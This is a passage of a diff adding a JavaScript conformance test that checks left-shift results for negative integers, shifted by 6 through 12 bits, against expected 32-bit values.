+ $ERROR('#194: -2 << 6 === -128. Actual: ' + (-2 << 6));
+}
+
+
+if (-4 << 6 !== -256) {
+ $ERROR('#195: -4 << 6 === -256. Actual: ' + (-4 << 6));
+}
+
+
+if (-8 << 6 !== -512) {
+ $ERROR('#196: -8 << 6 === -512. Actual: ' + (-8 << 6));
+}
+
+
+if (-16 << 6 !== -1024) {
+ $ERROR('#197: -16 << 6 === -1024. Actual: ' + (-16 << 6));
+}
+
+
+if (-32 << 6 !== -2048) {
+ $ERROR('#198: -32 << 6 === -2048. Actual: ' + (-32 << 6));
+}
+
+
+if (-64 << 6 !== -4096) {
+ $ERROR('#199: -64 << 6 === -4096. Actual: ' + (-64 << 6));
+}
+
+
+if (-128 << 6 !== -8192) {
+ $ERROR('#200: -128 << 6 === -8192. Actual: ' + (-128 << 6));
+}
+
+
+if (-256 << 6 !== -16384) {
+ $ERROR('#201: -256 << 6 === -16384. Actual: ' + (-256 << 6));
+}
+
+
+if (-512 << 6 !== -32768) {
+ $ERROR('#202: -512 << 6 === -32768. Actual: ' + (-512 << 6));
+}
+
+
+if (-1024 << 6 !== -65536) {
+ $ERROR('#203: -1024 << 6 === -65536. Actual: ' + (-1024 << 6));
+}
+
+
+if (-2048 << 6 !== -131072) {
+ $ERROR('#204: -2048 << 6 === -131072. Actual: ' + (-2048 << 6));
+}
+
+
+if (-4096 << 6 !== -262144) {
+ $ERROR('#205: -4096 << 6 === -262144. Actual: ' + (-4096 << 6));
+}
+
+
+if (-8192 << 6 !== -524288) {
+ $ERROR('#206: -8192 << 6 === -524288. Actual: ' + (-8192 << 6));
+}
+
+
+if (-16384 << 6 !== -1048576) {
+ $ERROR('#207: -16384 << 6 === -1048576. Actual: ' + (-16384 << 6));
+}
+
+
+if (-32768 << 6 !== -2097152) {
+ $ERROR('#208: -32768 << 6 === -2097152. Actual: ' + (-32768 << 6));
+}
+
+
+if (-65536 << 6 !== -4194304) {
+ $ERROR('#209: -65536 << 6 === -4194304. Actual: ' + (-65536 << 6));
+}
+
+
+if (-131072 << 6 !== -8388608) {
+ $ERROR('#210: -131072 << 6 === -8388608. Actual: ' + (-131072 << 6));
+}
+
+
+if (-262144 << 6 !== -16777216) {
+ $ERROR('#211: -262144 << 6 === -16777216. Actual: ' + (-262144 << 6));
+}
+
+
+if (-524288 << 6 !== -33554432) {
+ $ERROR('#212: -524288 << 6 === -33554432. Actual: ' + (-524288 << 6));
+}
+
+
+if (-1048576 << 6 !== -67108864) {
+ $ERROR('#213: -1048576 << 6 === -67108864. Actual: ' + (-1048576 << 6));
+}
+
+
+if (-2097152 << 6 !== -134217728) {
+ $ERROR('#214: -2097152 << 6 === -134217728. Actual: ' + (-2097152 << 6));
+}
+
+
+if (-4194304 << 6 !== -268435456) {
+ $ERROR('#215: -4194304 << 6 === -268435456. Actual: ' + (-4194304 << 6));
+}
+
+
+if (-8388608 << 6 !== -536870912) {
+ $ERROR('#216: -8388608 << 6 === -536870912. Actual: ' + (-8388608 << 6));
+}
+
+
+if (-16777216 << 6 !== -1073741824) {
+ $ERROR('#217: -16777216 << 6 === -1073741824. Actual: ' + (-16777216 << 6));
+}
+
+
+if (-33554432 << 6 !== -2147483648) {
+ $ERROR('#218: -33554432 << 6 === -2147483648. Actual: ' + (-33554432 << 6));
+}
+
+
+if (-67108864 << 6 !== 0) {
+ $ERROR('#219: -67108864 << 6 === 0. Actual: ' + (-67108864 << 6));
+}
+
+
+if (-134217728 << 6 !== 0) {
+ $ERROR('#220: -134217728 << 6 === 0. Actual: ' + (-134217728 << 6));
+}
+
+
+if (-268435456 << 6 !== 0) {
+ $ERROR('#221: -268435456 << 6 === 0. Actual: ' + (-268435456 << 6));
+}
+
+
+if (-536870912 << 6 !== 0) {
+ $ERROR('#222: -536870912 << 6 === 0. Actual: ' + (-536870912 << 6));
+}
+
+
+if (-1073741824 << 6 !== 0) {
+ $ERROR('#223: -1073741824 << 6 === 0. Actual: ' + (-1073741824 << 6));
+}
+
+
+if (-2147483648 << 6 !== 0) {
+ $ERROR('#224: -2147483648 << 6 === 0. Actual: ' + (-2147483648 << 6));
+}
+
+
+if (-1 << 7 !== -128) {
+ $ERROR('#225: -1 << 7 === -128. Actual: ' + (-1 << 7));
+}
+
+
+if (-2 << 7 !== -256) {
+ $ERROR('#226: -2 << 7 === -256. Actual: ' + (-2 << 7));
+}
+
+
+if (-4 << 7 !== -512) {
+ $ERROR('#227: -4 << 7 === -512. Actual: ' + (-4 << 7));
+}
+
+
+if (-8 << 7 !== -1024) {
+ $ERROR('#228: -8 << 7 === -1024. Actual: ' + (-8 << 7));
+}
+
+
+if (-16 << 7 !== -2048) {
+ $ERROR('#229: -16 << 7 === -2048. Actual: ' + (-16 << 7));
+}
+
+
+if (-32 << 7 !== -4096) {
+ $ERROR('#230: -32 << 7 === -4096. Actual: ' + (-32 << 7));
+}
+
+
+if (-64 << 7 !== -8192) {
+ $ERROR('#231: -64 << 7 === -8192. Actual: ' + (-64 << 7));
+}
+
+
+if (-128 << 7 !== -16384) {
+ $ERROR('#232: -128 << 7 === -16384. Actual: ' + (-128 << 7));
+}
+
+
+if (-256 << 7 !== -32768) {
+ $ERROR('#233: -256 << 7 === -32768. Actual: ' + (-256 << 7));
+}
+
+
+if (-512 << 7 !== -65536) {
+ $ERROR('#234: -512 << 7 === -65536. Actual: ' + (-512 << 7));
+}
+
+
+if (-1024 << 7 !== -131072) {
+ $ERROR('#235: -1024 << 7 === -131072. Actual: ' + (-1024 << 7));
+}
+
+
+if (-2048 << 7 !== -262144) {
+ $ERROR('#236: -2048 << 7 === -262144. Actual: ' + (-2048 << 7));
+}
+
+
+if (-4096 << 7 !== -524288) {
+ $ERROR('#237: -4096 << 7 === -524288. Actual: ' + (-4096 << 7));
+}
+
+
+if (-8192 << 7 !== -1048576) {
+ $ERROR('#238: -8192 << 7 === -1048576. Actual: ' + (-8192 << 7));
+}
+
+
+if (-16384 << 7 !== -2097152) {
+ $ERROR('#239: -16384 << 7 === -2097152. Actual: ' + (-16384 << 7));
+}
+
+
+if (-32768 << 7 !== -4194304) {
+ $ERROR('#240: -32768 << 7 === -4194304. Actual: ' + (-32768 << 7));
+}
+
+
+if (-65536 << 7 !== -8388608) {
+ $ERROR('#241: -65536 << 7 === -8388608. Actual: ' + (-65536 << 7));
+}
+
+
+if (-131072 << 7 !== -16777216) {
+ $ERROR('#242: -131072 << 7 === -16777216. Actual: ' + (-131072 << 7));
+}
+
+
+if (-262144 << 7 !== -33554432) {
+ $ERROR('#243: -262144 << 7 === -33554432. Actual: ' + (-262144 << 7));
+}
+
+
+if (-524288 << 7 !== -67108864) {
+ $ERROR('#244: -524288 << 7 === -67108864. Actual: ' + (-524288 << 7));
+}
+
+
+if (-1048576 << 7 !== -134217728) {
+ $ERROR('#245: -1048576 << 7 === -134217728. Actual: ' + (-1048576 << 7));
+}
+
+
+if (-2097152 << 7 !== -268435456) {
+ $ERROR('#246: -2097152 << 7 === -268435456. Actual: ' + (-2097152 << 7));
+}
+
+
+if (-4194304 << 7 !== -536870912) {
+ $ERROR('#247: -4194304 << 7 === -536870912. Actual: ' + (-4194304 << 7));
+}
+
+
+if (-8388608 << 7 !== -1073741824) {
+ $ERROR('#248: -8388608 << 7 === -1073741824. Actual: ' + (-8388608 << 7));
+}
+
+
+if (-16777216 << 7 !== -2147483648) {
+ $ERROR('#249: -16777216 << 7 === -2147483648. Actual: ' + (-16777216 << 7));
+}
+
+
+if (-33554432 << 7 !== 0) {
+ $ERROR('#250: -33554432 << 7 === 0. Actual: ' + (-33554432 << 7));
+}
+
+
+if (-67108864 << 7 !== 0) {
+ $ERROR('#251: -67108864 << 7 === 0. Actual: ' + (-67108864 << 7));
+}
+
+
+if (-134217728 << 7 !== 0) {
+ $ERROR('#252: -134217728 << 7 === 0. Actual: ' + (-134217728 << 7));
+}
+
+
+if (-268435456 << 7 !== 0) {
+ $ERROR('#253: -268435456 << 7 === 0. Actual: ' + (-268435456 << 7));
+}
+
+
+if (-536870912 << 7 !== 0) {
+ $ERROR('#254: -536870912 << 7 === 0. Actual: ' + (-536870912 << 7));
+}
+
+
+if (-1073741824 << 7 !== 0) {
+ $ERROR('#255: -1073741824 << 7 === 0. Actual: ' + (-1073741824 << 7));
+}
+
+
+if (-2147483648 << 7 !== 0) {
+ $ERROR('#256: -2147483648 << 7 === 0. Actual: ' + (-2147483648 << 7));
+}
+
+
+if (-1 << 8 !== -256) {
+ $ERROR('#257: -1 << 8 === -256. Actual: ' + (-1 << 8));
+}
+
+
+if (-2 << 8 !== -512) {
+ $ERROR('#258: -2 << 8 === -512. Actual: ' + (-2 << 8));
+}
+
+
+if (-4 << 8 !== -1024) {
+ $ERROR('#259: -4 << 8 === -1024. Actual: ' + (-4 << 8));
+}
+
+
+if (-8 << 8 !== -2048) {
+ $ERROR('#260: -8 << 8 === -2048. Actual: ' + (-8 << 8));
+}
+
+
+if (-16 << 8 !== -4096) {
+ $ERROR('#261: -16 << 8 === -4096. Actual: ' + (-16 << 8));
+}
+
+
+if (-32 << 8 !== -8192) {
+ $ERROR('#262: -32 << 8 === -8192. Actual: ' + (-32 << 8));
+}
+
+
+if (-64 << 8 !== -16384) {
+ $ERROR('#263: -64 << 8 === -16384. Actual: ' + (-64 << 8));
+}
+
+
+if (-128 << 8 !== -32768) {
+ $ERROR('#264: -128 << 8 === -32768. Actual: ' + (-128 << 8));
+}
+
+
+if (-256 << 8 !== -65536) {
+ $ERROR('#265: -256 << 8 === -65536. Actual: ' + (-256 << 8));
+}
+
+
+if (-512 << 8 !== -131072) {
+ $ERROR('#266: -512 << 8 === -131072. Actual: ' + (-512 << 8));
+}
+
+
+if (-1024 << 8 !== -262144) {
+ $ERROR('#267: -1024 << 8 === -262144. Actual: ' + (-1024 << 8));
+}
+
+
+if (-2048 << 8 !== -524288) {
+ $ERROR('#268: -2048 << 8 === -524288. Actual: ' + (-2048 << 8));
+}
+
+
+if (-4096 << 8 !== -1048576) {
+ $ERROR('#269: -4096 << 8 === -1048576. Actual: ' + (-4096 << 8));
+}
+
+
+if (-8192 << 8 !== -2097152) {
+ $ERROR('#270: -8192 << 8 === -2097152. Actual: ' + (-8192 << 8));
+}
+
+
+if (-16384 << 8 !== -4194304) {
+ $ERROR('#271: -16384 << 8 === -4194304. Actual: ' + (-16384 << 8));
+}
+
+
+if (-32768 << 8 !== -8388608) {
+ $ERROR('#272: -32768 << 8 === -8388608. Actual: ' + (-32768 << 8));
+}
+
+
+if (-65536 << 8 !== -16777216) {
+ $ERROR('#273: -65536 << 8 === -16777216. Actual: ' + (-65536 << 8));
+}
+
+
+if (-131072 << 8 !== -33554432) {
+ $ERROR('#274: -131072 << 8 === -33554432. Actual: ' + (-131072 << 8));
+}
+
+
+if (-262144 << 8 !== -67108864) {
+ $ERROR('#275: -262144 << 8 === -67108864. Actual: ' + (-262144 << 8));
+}
+
+
+if (-524288 << 8 !== -134217728) {
+ $ERROR('#276: -524288 << 8 === -134217728. Actual: ' + (-524288 << 8));
+}
+
+
+if (-1048576 << 8 !== -268435456) {
+ $ERROR('#277: -1048576 << 8 === -268435456. Actual: ' + (-1048576 << 8));
+}
+
+
+if (-2097152 << 8 !== -536870912) {
+ $ERROR('#278: -2097152 << 8 === -536870912. Actual: ' + (-2097152 << 8));
+}
+
+
+if (-4194304 << 8 !== -1073741824) {
+ $ERROR('#279: -4194304 << 8 === -1073741824. Actual: ' + (-4194304 << 8));
+}
+
+
+if (-8388608 << 8 !== -2147483648) {
+ $ERROR('#280: -8388608 << 8 === -2147483648. Actual: ' + (-8388608 << 8));
+}
+
+
+if (-16777216 << 8 !== 0) {
+ $ERROR('#281: -16777216 << 8 === 0. Actual: ' + (-16777216 << 8));
+}
+
+
+if (-33554432 << 8 !== 0) {
+ $ERROR('#282: -33554432 << 8 === 0. Actual: ' + (-33554432 << 8));
+}
+
+
+if (-67108864 << 8 !== 0) {
+ $ERROR('#283: -67108864 << 8 === 0. Actual: ' + (-67108864 << 8));
+}
+
+
+if (-134217728 << 8 !== 0) {
+ $ERROR('#284: -134217728 << 8 === 0. Actual: ' + (-134217728 << 8));
+}
+
+
+if (-268435456 << 8 !== 0) {
+ $ERROR('#285: -268435456 << 8 === 0. Actual: ' + (-268435456 << 8));
+}
+
+
+if (-536870912 << 8 !== 0) {
+ $ERROR('#286: -536870912 << 8 === 0. Actual: ' + (-536870912 << 8));
+}
+
+
+if (-1073741824 << 8 !== 0) {
+ $ERROR('#287: -1073741824 << 8 === 0. Actual: ' + (-1073741824 << 8));
+}
+
+
+if (-2147483648 << 8 !== 0) {
+ $ERROR('#288: -2147483648 << 8 === 0. Actual: ' + (-2147483648 << 8));
+}
+
+
+if (-1 << 9 !== -512) {
+ $ERROR('#289: -1 << 9 === -512. Actual: ' + (-1 << 9));
+}
+
+
+if (-2 << 9 !== -1024) {
+ $ERROR('#290: -2 << 9 === -1024. Actual: ' + (-2 << 9));
+}
+
+
+if (-4 << 9 !== -2048) {
+ $ERROR('#291: -4 << 9 === -2048. Actual: ' + (-4 << 9));
+}
+
+
+if (-8 << 9 !== -4096) {
+ $ERROR('#292: -8 << 9 === -4096. Actual: ' + (-8 << 9));
+}
+
+
+if (-16 << 9 !== -8192) {
+ $ERROR('#293: -16 << 9 === -8192. Actual: ' + (-16 << 9));
+}
+
+
+if (-32 << 9 !== -16384) {
+ $ERROR('#294: -32 << 9 === -16384. Actual: ' + (-32 << 9));
+}
+
+
+if (-64 << 9 !== -32768) {
+ $ERROR('#295: -64 << 9 === -32768. Actual: ' + (-64 << 9));
+}
+
+
+if (-128 << 9 !== -65536) {
+ $ERROR('#296: -128 << 9 === -65536. Actual: ' + (-128 << 9));
+}
+
+
+if (-256 << 9 !== -131072) {
+ $ERROR('#297: -256 << 9 === -131072. Actual: ' + (-256 << 9));
+}
+
+
+if (-512 << 9 !== -262144) {
+ $ERROR('#298: -512 << 9 === -262144. Actual: ' + (-512 << 9));
+}
+
+
+if (-1024 << 9 !== -524288) {
+ $ERROR('#299: -1024 << 9 === -524288. Actual: ' + (-1024 << 9));
+}
+
+
+if (-2048 << 9 !== -1048576) {
+ $ERROR('#300: -2048 << 9 === -1048576. Actual: ' + (-2048 << 9));
+}
+
+
+if (-4096 << 9 !== -2097152) {
+ $ERROR('#301: -4096 << 9 === -2097152. Actual: ' + (-4096 << 9));
+}
+
+
+if (-8192 << 9 !== -4194304) {
+ $ERROR('#302: -8192 << 9 === -4194304. Actual: ' + (-8192 << 9));
+}
+
+
+if (-16384 << 9 !== -8388608) {
+ $ERROR('#303: -16384 << 9 === -8388608. Actual: ' + (-16384 << 9));
+}
+
+
+if (-32768 << 9 !== -16777216) {
+ $ERROR('#304: -32768 << 9 === -16777216. Actual: ' + (-32768 << 9));
+}
+
+
+if (-65536 << 9 !== -33554432) {
+ $ERROR('#305: -65536 << 9 === -33554432. Actual: ' + (-65536 << 9));
+}
+
+
+if (-131072 << 9 !== -67108864) {
+ $ERROR('#306: -131072 << 9 === -67108864. Actual: ' + (-131072 << 9));
+}
+
+
+if (-262144 << 9 !== -134217728) {
+ $ERROR('#307: -262144 << 9 === -134217728. Actual: ' + (-262144 << 9));
+}
+
+
+if (-524288 << 9 !== -268435456) {
+ $ERROR('#308: -524288 << 9 === -268435456. Actual: ' + (-524288 << 9));
+}
+
+
+if (-1048576 << 9 !== -536870912) {
+ $ERROR('#309: -1048576 << 9 === -536870912. Actual: ' + (-1048576 << 9));
+}
+
+
+if (-2097152 << 9 !== -1073741824) {
+ $ERROR('#310: -2097152 << 9 === -1073741824. Actual: ' + (-2097152 << 9));
+}
+
+
+if (-4194304 << 9 !== -2147483648) {
+ $ERROR('#311: -4194304 << 9 === -2147483648. Actual: ' + (-4194304 << 9));
+}
+
+
+if (-8388608 << 9 !== 0) {
+ $ERROR('#312: -8388608 << 9 === 0. Actual: ' + (-8388608 << 9));
+}
+
+
+if (-16777216 << 9 !== 0) {
+ $ERROR('#313: -16777216 << 9 === 0. Actual: ' + (-16777216 << 9));
+}
+
+
+if (-33554432 << 9 !== 0) {
+ $ERROR('#314: -33554432 << 9 === 0. Actual: ' + (-33554432 << 9));
+}
+
+
+if (-67108864 << 9 !== 0) {
+ $ERROR('#315: -67108864 << 9 === 0. Actual: ' + (-67108864 << 9));
+}
+
+
+if (-134217728 << 9 !== 0) {
+ $ERROR('#316: -134217728 << 9 === 0. Actual: ' + (-134217728 << 9));
+}
+
+
+if (-268435456 << 9 !== 0) {
+ $ERROR('#317: -268435456 << 9 === 0. Actual: ' + (-268435456 << 9));
+}
+
+
+if (-536870912 << 9 !== 0) {
+ $ERROR('#318: -536870912 << 9 === 0. Actual: ' + (-536870912 << 9));
+}
+
+
+if (-1073741824 << 9 !== 0) {
+ $ERROR('#319: -1073741824 << 9 === 0. Actual: ' + (-1073741824 << 9));
+}
+
+
+if (-2147483648 << 9 !== 0) {
+ $ERROR('#320: -2147483648 << 9 === 0. Actual: ' + (-2147483648 << 9));
+}
+
+
+if (-1 << 10 !== -1024) {
+ $ERROR('#321: -1 << 10 === -1024. Actual: ' + (-1 << 10));
+}
+
+
+if (-2 << 10 !== -2048) {
+ $ERROR('#322: -2 << 10 === -2048. Actual: ' + (-2 << 10));
+}
+
+
+if (-4 << 10 !== -4096) {
+ $ERROR('#323: -4 << 10 === -4096. Actual: ' + (-4 << 10));
+}
+
+
+if (-8 << 10 !== -8192) {
+ $ERROR('#324: -8 << 10 === -8192. Actual: ' + (-8 << 10));
+}
+
+
+if (-16 << 10 !== -16384) {
+ $ERROR('#325: -16 << 10 === -16384. Actual: ' + (-16 << 10));
+}
+
+
+if (-32 << 10 !== -32768) {
+ $ERROR('#326: -32 << 10 === -32768. Actual: ' + (-32 << 10));
+}
+
+
+if (-64 << 10 !== -65536) {
+ $ERROR('#327: -64 << 10 === -65536. Actual: ' + (-64 << 10));
+}
+
+
+if (-128 << 10 !== -131072) {
+ $ERROR('#328: -128 << 10 === -131072. Actual: ' + (-128 << 10));
+}
+
+
+if (-256 << 10 !== -262144) {
+ $ERROR('#329: -256 << 10 === -262144. Actual: ' + (-256 << 10));
+}
+
+
+if (-512 << 10 !== -524288) {
+ $ERROR('#330: -512 << 10 === -524288. Actual: ' + (-512 << 10));
+}
+
+
+if (-1024 << 10 !== -1048576) {
+ $ERROR('#331: -1024 << 10 === -1048576. Actual: ' + (-1024 << 10));
+}
+
+
+if (-2048 << 10 !== -2097152) {
+ $ERROR('#332: -2048 << 10 === -2097152. Actual: ' + (-2048 << 10));
+}
+
+
+if (-4096 << 10 !== -4194304) {
+ $ERROR('#333: -4096 << 10 === -4194304. Actual: ' + (-4096 << 10));
+}
+
+
+if (-8192 << 10 !== -8388608) {
+ $ERROR('#334: -8192 << 10 === -8388608. Actual: ' + (-8192 << 10));
+}
+
+
+if (-16384 << 10 !== -16777216) {
+ $ERROR('#335: -16384 << 10 === -16777216. Actual: ' + (-16384 << 10));
+}
+
+
+if (-32768 << 10 !== -33554432) {
+ $ERROR('#336: -32768 << 10 === -33554432. Actual: ' + (-32768 << 10));
+}
+
+
+if (-65536 << 10 !== -67108864) {
+ $ERROR('#337: -65536 << 10 === -67108864. Actual: ' + (-65536 << 10));
+}
+
+
+if (-131072 << 10 !== -134217728) {
+ $ERROR('#338: -131072 << 10 === -134217728. Actual: ' + (-131072 << 10));
+}
+
+
+if (-262144 << 10 !== -268435456) {
+ $ERROR('#339: -262144 << 10 === -268435456. Actual: ' + (-262144 << 10));
+}
+
+
+if (-524288 << 10 !== -536870912) {
+ $ERROR('#340: -524288 << 10 === -536870912. Actual: ' + (-524288 << 10));
+}
+
+
+if (-1048576 << 10 !== -1073741824) {
+ $ERROR('#341: -1048576 << 10 === -1073741824. Actual: ' + (-1048576 << 10));
+}
+
+
+if (-2097152 << 10 !== -2147483648) {
+ $ERROR('#342: -2097152 << 10 === -2147483648. Actual: ' + (-2097152 << 10));
+}
+
+
+if (-4194304 << 10 !== 0) {
+ $ERROR('#343: -4194304 << 10 === 0. Actual: ' + (-4194304 << 10));
+}
+
+
+if (-8388608 << 10 !== 0) {
+ $ERROR('#344: -8388608 << 10 === 0. Actual: ' + (-8388608 << 10));
+}
+
+
+if (-16777216 << 10 !== 0) {
+ $ERROR('#345: -16777216 << 10 === 0. Actual: ' + (-16777216 << 10));
+}
+
+
+if (-33554432 << 10 !== 0) {
+ $ERROR('#346: -33554432 << 10 === 0. Actual: ' + (-33554432 << 10));
+}
+
+
+if (-67108864 << 10 !== 0) {
+ $ERROR('#347: -67108864 << 10 === 0. Actual: ' + (-67108864 << 10));
+}
+
+
+if (-134217728 << 10 !== 0) {
+ $ERROR('#348: -134217728 << 10 === 0. Actual: ' + (-134217728 << 10));
+}
+
+
+if (-268435456 << 10 !== 0) {
+ $ERROR('#349: -268435456 << 10 === 0. Actual: ' + (-268435456 << 10));
+}
+
+
+if (-536870912 << 10 !== 0) {
+ $ERROR('#350: -536870912 << 10 === 0. Actual: ' + (-536870912 << 10));
+}
+
+
+if (-1073741824 << 10 !== 0) {
+ $ERROR('#351: -1073741824 << 10 === 0. Actual: ' + (-1073741824 << 10));
+}
+
+
+if (-2147483648 << 10 !== 0) {
+ $ERROR('#352: -2147483648 << 10 === 0. Actual: ' + (-2147483648 << 10));
+}
+
+
+if (-1 << 11 !== -2048) {
+ $ERROR('#353: -1 << 11 === -2048. Actual: ' + (-1 << 11));
+}
+
+
+if (-2 << 11 !== -4096) {
+ $ERROR('#354: -2 << 11 === -4096. Actual: ' + (-2 << 11));
+}
+
+
+if (-4 << 11 !== -8192) {
+ $ERROR('#355: -4 << 11 === -8192. Actual: ' + (-4 << 11));
+}
+
+
+if (-8 << 11 !== -16384) {
+ $ERROR('#356: -8 << 11 === -16384. Actual: ' + (-8 << 11));
+}
+
+
+if (-16 << 11 !== -32768) {
+ $ERROR('#357: -16 << 11 === -32768. Actual: ' + (-16 << 11));
+}
+
+
+if (-32 << 11 !== -65536) {
+ $ERROR('#358: -32 << 11 === -65536. Actual: ' + (-32 << 11));
+}
+
+
+if (-64 << 11 !== -131072) {
+ $ERROR('#359: -64 << 11 === -131072. Actual: ' + (-64 << 11));
+}
+
+
+if (-128 << 11 !== -262144) {
+ $ERROR('#360: -128 << 11 === -262144. Actual: ' + (-128 << 11));
+}
+
+
+if (-256 << 11 !== -524288) {
+ $ERROR('#361: -256 << 11 === -524288. Actual: ' + (-256 << 11));
+}
+
+
+if (-512 << 11 !== -1048576) {
+ $ERROR('#362: -512 << 11 === -1048576. Actual: ' + (-512 << 11));
+}
+
+
+if (-1024 << 11 !== -2097152) {
+ $ERROR('#363: -1024 << 11 === -2097152. Actual: ' + (-1024 << 11));
+}
+
+
+if (-2048 << 11 !== -4194304) {
+ $ERROR('#364: -2048 << 11 === -4194304. Actual: ' + (-2048 << 11));
+}
+
+
+if (-4096 << 11 !== -8388608) {
+ $ERROR('#365: -4096 << 11 === -8388608. Actual: ' + (-4096 << 11));
+}
+
+
+if (-8192 << 11 !== -16777216) {
+ $ERROR('#366: -8192 << 11 === -16777216. Actual: ' + (-8192 << 11));
+}
+
+
+if (-16384 << 11 !== -33554432) {
+ $ERROR('#367: -16384 << 11 === -33554432. Actual: ' + (-16384 << 11));
+}
+
+
+if (-32768 << 11 !== -67108864) {
+ $ERROR('#368: -32768 << 11 === -67108864. Actual: ' + (-32768 << 11));
+}
+
+
+if (-65536 << 11 !== -134217728) {
+ $ERROR('#369: -65536 << 11 === -134217728. Actual: ' + (-65536 << 11));
+}
+
+
+if (-131072 << 11 !== -268435456) {
+ $ERROR('#370: -131072 << 11 === -268435456. Actual: ' + (-131072 << 11));
+}
+
+
+if (-262144 << 11 !== -536870912) {
+ $ERROR('#371: -262144 << 11 === -536870912. Actual: ' + (-262144 << 11));
+}
+
+
+if (-524288 << 11 !== -1073741824) {
+ $ERROR('#372: -524288 << 11 === -1073741824. Actual: ' + (-524288 << 11));
+}
+
+
+if (-1048576 << 11 !== -2147483648) {
+ $ERROR('#373: -1048576 << 11 === -2147483648. Actual: ' + (-1048576 << 11));
+}
+
+
+if (-2097152 << 11 !== 0) {
+ $ERROR('#374: -2097152 << 11 === 0. Actual: ' + (-2097152 << 11));
+}
+
+
+if (-4194304 << 11 !== 0) {
+ $ERROR('#375: -4194304 << 11 === 0. Actual: ' + (-4194304 << 11));
+}
+
+
+if (-8388608 << 11 !== 0) {
+ $ERROR('#376: -8388608 << 11 === 0. Actual: ' + (-8388608 << 11));
+}
+
+
+if (-16777216 << 11 !== 0) {
+ $ERROR('#377: -16777216 << 11 === 0. Actual: ' + (-16777216 << 11));
+}
+
+
+if (-33554432 << 11 !== 0) {
+ $ERROR('#378: -33554432 << 11 === 0. Actual: ' + (-33554432 << 11));
+}
+
+
+if (-67108864 << 11 !== 0) {
+ $ERROR('#379: -67108864 << 11 === 0. Actual: ' + (-67108864 << 11));
+}
+
+
+if (-134217728 << 11 !== 0) {
+ $ERROR('#380: -134217728 << 11 === 0. Actual: ' + (-134217728 << 11));
+}
+
+
+if (-268435456 << 11 !== 0) {
+ $ERROR('#381: -268435456 << 11 === 0. Actual: ' + (-268435456 << 11));
+}
+
+
+if (-536870912 << 11 !== 0) {
+ $ERROR('#382: -536870912 << 11 === 0. Actual: ' + (-536870912 << 11));
+}
+
+
+if (-1073741824 << 11 !== 0) {
+ $ERROR('#383: -1073741824 << 11 === 0. Actual: ' + (-1073741824 << 11));
+}
+
+
+if (-2147483648 << 11 !== 0) {
+ $ERROR('#384: -2147483648 << 11 === 0. Actual: ' + (-2147483648 << 11));
+}
+
+
+if (-1 << 12 !== -4096) {
+ $ERROR('#385: -1 << 12 === -4096. Actual: ' + (-1 << 12));
+}
+
+
+if (-2 << 12 !== -8192) {
+ $ERROR('#386: -2 << 12 === -8192. Actual: ' + (-2 << 12));
+}
+
+
+if (-4 << 12 !== -16384) {
+ $ERROR('#387: -4 << 12 === -16384. Actual: ' + (-4 << 12));
+}
+
+
+if (-8 << 12 !== -32768) {
+ $ERROR('#388: -8 << 12 === -32768. Actual: ' + (-8 << 12));
+}
+
+
+if (-16 << 12 !== -65536) {
+ $ERROR('#389: -16 << 12 === -65536. Actual: ' + (-16 << 12));
+}
+
+
+if (-32 << 12 !== -131072) {
+ $ERROR('#390: -32 << 12 === -131072. Actual: ' + (-32 << 12));
+}
+
+
+if (-64 << 12 !== -262144) {
+ $ERROR('#391: -64 << 12 === -262144. Actual: ' + (-64 << 12));
+}
+
+
+if (-128 << 12 !== -524288) {
+ $ERROR('#392: -128 << 12 === -524288. Actual: ' + (-128 << 12));
+}
+
+
+if (-256 << 12 !== -1048576) {
+ $ERROR('#393: -256 << 12 === -1048576. Actual: ' + (-256 << 12));
+}
+
+
+if (-512 << 12 !== -2097152) {
+ $ERROR('#394: -512 << 12 === -2097152. Actual: ' + (-512 << 12));
+}
+
+
+if (-1024 << 12 !== -4194304) {
+ $ERROR('#395: -1024 << 12 === -4194304. Actual: ' + (-1024 << 12));
+}
+
+
+if (-2048 << 12 !== -8388608) {
+ $ERROR('#396: -2048 << 12 === -8388608. Actual: ' + (-2048 << 12));
+}
+
+
+if (-4096 << 12 !== -16777216) {
+ $ERROR('#397: -4096 << 12 === -16777216. Actual: ' + (-4096 << 12));
+}
+
+
+if (-8192 << 12 !== -33554432) {
+ $ERROR('#398: -8192 << 12 === -33554432. Actual: ' + (-8192 << 12));
+}
+
+
+if (-16384 << 12 !== -67108864) {
+ $ERROR('#399: -16384 << 12 === -67108864. Actual: ' + (-16384 << 12));
+}
+
+
+if (-32768 << 12 !== -134217728) {
+ $ERROR('#400: -32768 << 12 === -134217728. Actual: ' + (-32768 << 12));
+}
+
+
+if (-65536 << 12 !== -268435456) {
+ $ERROR('#401: -65536 << 12 === -268435456. Actual: ' + (-65536 << 12));
+}
+
+
+if (-131072 << 12 !== -536870912) {
+ $ERROR('#402: -131072 << 12 === -536870912. Actual: ' + (-131072 << 12));
+}
+
+
+if (-262144 << 12 !== -1073741824) {
+ $ERROR('#403: -262144 << 12 === -1073741824. Actual: ' + (-262144 << 12));
+}
+
+
+if (-524288 << 12 !== -2147483648) {
+ $ERROR('#404: -524288 << 12 === -2147483648. Actual: ' + (-524288 << 12));
+}
+
+
+if (-1048576 << 12 !== 0) {
+ $ERROR('#405: -1048576 << 12 === 0. Actual: ' + (-1048576 << 12));
+}
+
+
+if (-2097152 << 12 !== 0) {
+ $ERROR('#406: -2097152 << 12 === 0. Actual: ' + (-2097152 << 12));
+}
+
+
+if (-4194304 << 12 !== 0) {
+ $ERROR('#407: -4194304 << 12 === 0. Actual: ' + (-4194304 << 12));
+}
+
+
+if (-8388608 << 12 !== 0) {
+ $ERROR('#408: -8388608 << 12 === 0. Actual: ' + (-8388608 << 12));
+}
+
+
+if (-16777216 << 12 !== 0) {
+ $ERROR('#409: -16777216 << 12 === 0. Actual: ' + (-16777216 << 12));
+}
+
+
+if (-33554432 << 12 !== 0) {
+ $ERROR('#410: -33554432 << 12 === 0. Actual: ' + (-33554432 << 12));
+}
+
+
+if (-67108864 << 12 !== 0) {
+ $ERROR('#411: -67108864 << 12 === 0. Actual: ' + (-67108864 << 12));
+}
+
+
+if (-134217728 << 12 !== 0) {
+ $ERROR('#412: -134217728 << 12 === 0. Actual: ' + (-134217728 << 12));
+}
+
+
+if (-268435456 << 12 !== 0) {
+ $ERROR('#413: -268435456 << 12 === 0. Actual: ' + (-268435456 << 12));
+}
+
+
+if (-536870912 << 12 !== 0) {
+ $ERROR('#414: -536870912 << 12 === 0. Actual: ' + (-536870912 << 12));
+}
+
+
+if (-1073741824 << 12 !== 0) {
+ $ERROR('#415: -1073741824 << 12 === 0. Actual: ' + (-1073741824 << 12));
+}
+
+
